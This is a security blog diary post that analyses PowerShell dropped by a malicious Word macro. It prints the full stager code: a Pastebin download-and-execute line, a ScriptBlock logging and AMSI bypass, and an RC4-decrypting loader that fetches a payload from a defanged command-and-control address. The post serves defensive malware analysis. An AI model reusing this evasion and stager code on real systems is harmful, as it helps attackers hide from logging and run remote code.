My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

PowerShell: ScriptBlock Logging... Or Not?

Published: 2018-06-19. Last Updated: 2018-06-19 07:44:03 UTC
by Xavier Mertens (Version: 1)
2 comment(s)

Here is an interesting piece of PowerShell code which is executed from a Word document (SHA256: eecce8933177c96bd6bf88f7b03ef0cc7012c36801fd3d59afa065079c30a559[1]). The document is a classic one. Nothing fancy, spit executes the macro and spawns a first PowerShell command:

powershell $h=New-Object -ComObject Msxml2.XMLHTTP
$h.open('GET','hxxps://pastebin[.]com/raw/dqHSgxmE',$false)
$h.send()
iex $h.responseText

The following payload is downloaded from Pastebin:

powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVgBFAFIAcw ... (redacted) ... ACkAKQB8AEkARQBYAA==

The new Base64 script, once decoded, shows some interesting behaviours:

 1: IF ($PSVERsionTable.PSVErsIon.MaJor -Ge 3) {
 2:   $GPF=[rEf].AssembLY.GETTyPe('System.Management.Automation.Utils')."GETField"('cachedGroupPolicySettings','NonPublic,Static');
 3:    If ($GPF) {
 4:       $GPC=$GPF.GeTVAlUe($NuLl);
 5:        IF ($GPC['ScriptBlockLogging']) {
 6:           $GPC['ScriptBlockLogging']['EnableScriptBlockLogging']=0;
 7:            $GPC['ScriptBlockLogging']['EnableScriptBlockInvocationLogging']=0
 8:        }
 9:        $VAL=[CollEcTioNs.GeNEric.DIcTiOnARy[stRiNg,SysTem.OBJect]]::new();
10:        $VAL.ADD('EnableScriptBlockLogging',0);
11:        $VAL.AdD('EnableScriptBlockInvocationLogging',0);
12:        $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging']=$val
13:    }
14:   ELSE {
15:        [SCriPtBlOCk]."GEtFIElD"('signatures','NonPublic,Static').SETValue($NuLL,(New-OBjECt COllectIoNs.GeNeRIC.HasHSet[sTRINg]))
16:   }
17:   [Ref].ASSeMBly.GetTYpe('System.Management.Automation.AmsiUtils')|?{$_}|%{
18:        $_.GetFIEld('amsiInitFailed','NonPublic,Static').SETVaLUe($Null,$True)
19:   };
20: };
21: [SYStEM.Net.SERVIcEPOINtMANagEr]::ExPEcT100CoNtInUE=0;
22: $Wc=New-OBjECt SYsTEm.NeT.WEbCLIENt;
23: $u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
24: $wC.HEadERS.AdD('User-Agent',$u);
25: $wc.PROXy=[SYSTEM.Net.WebREqueSt]::DefaUlTWEbPROXy;
26: $Wc.ProXY.CrEDeNTIALS = [SyStEm.Net.CredenTIaLCAcHE]::DeFAuLtNeTWORKCreDenTiALS;
27: $Script:Proxy = $wc.Proxy;
28: $K=[SYsTeM.Text.ENCOdING]::ASCII.GetBytES('C>)hu9my~n#X}oG^0NkW1%b3xTSwOpVH');
29: $R={
30:    $D,$K=$ARgs;
31:   $S=0..255;0..255|% {        $J=($J+$S[$_]+$K[$_%$K.COUNT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]   };
32:    $D|%{
33:        $I=($I+1)%256;
34:        $H=($H+$S[$I])%256;
35:        $S[$I],$S[$H]=$S[$H],$S[$I];
36:        $_-BxOR$S[($S[$I]+$S[$H])%256]
37:    }
38: };
39: $ser='hxxp://190[.]101[.]22[.]94:9090';
40: $t='/news.php';
41: $WC.HEadeRs.AdD("Cookie","session=m0z8td9ZwUX+sHk/aQ7cLxIg7hI=");
42: $DaTa=$WC.DOWnlOadDAta($ser+$t);
43: $IV=$daTA[0..3];
44: $DaTa=$dAta[4..$dATa.LenGTh]
45: ;-Join[ChAr[]](& $R $DaTA ($IV+$K))|IEX

From line 1 to 20, we see a technique used by attackers to disable the ScriptBlock logging feature introduced by Microsoft in Windows 10[2]. The ScriptBlock logging feature is a pain for attackers because blue teams have access to full logs recording all of an attacker’s malicious PowerShell activity.  ScriptBlock logging is enabled through a Group Policy setting. PowerShell, for each new script block detected, will verify if it must be logged or not. Too bad, it has been proven that this feature can be bypassed without administrator privileges[3]. After disabling this logging feature, the script fetches the proxy config to access the Internet (line 25 to 27). Another classic behaviour, the access to the remote site (hxxp://190[.]101[.]22[.]94:9090/news.php) is probably restricted based on the User-Agent string (line 23) and the session cookie (line 41). The last payload is decrypted (line 28 to 38) and executed (line 43 to 45).

Interesting fact, I found other references to the same script but with different values for the "session" cookie and the $K encoded data (line 28). It could mean that the website might be involved in multiple attack campaigns (the session cookie is a nice way to identify the campaign or the victim profile).

The IP address 190.101.22.94 is not reachable but it looks to be delivering a PowerShell Empire payload.

[1] https://www.virustotal.com/#/file/eecce8933177c96bd6bf88f7b03ef0cc7012c36801fd3d59afa065079c30a559/detection
[2] https://docs.microsoft.com/en-us/powershell/wmf/5.0/audit_script
[3] https://cobbr.io/ScriptBlock-Logging-Bypass.html

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

2 comment(s)
My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Comments

Hi Xavier,

What also is interesting, the username used to place the shell on pastbin is placing a lot of this kind of scripts. You can just check it at https://pastebin.com/u/cyborg2323. You can also see this kind of attacks started around 13th march.

Cheers.
The main payload component of that looks like PowerShell Empire's HTTP_Foreign listener or similar.

https://github.com/EmpireProject/Empire/blob/master/lib/listeners/http_foreign.py

Diary Archives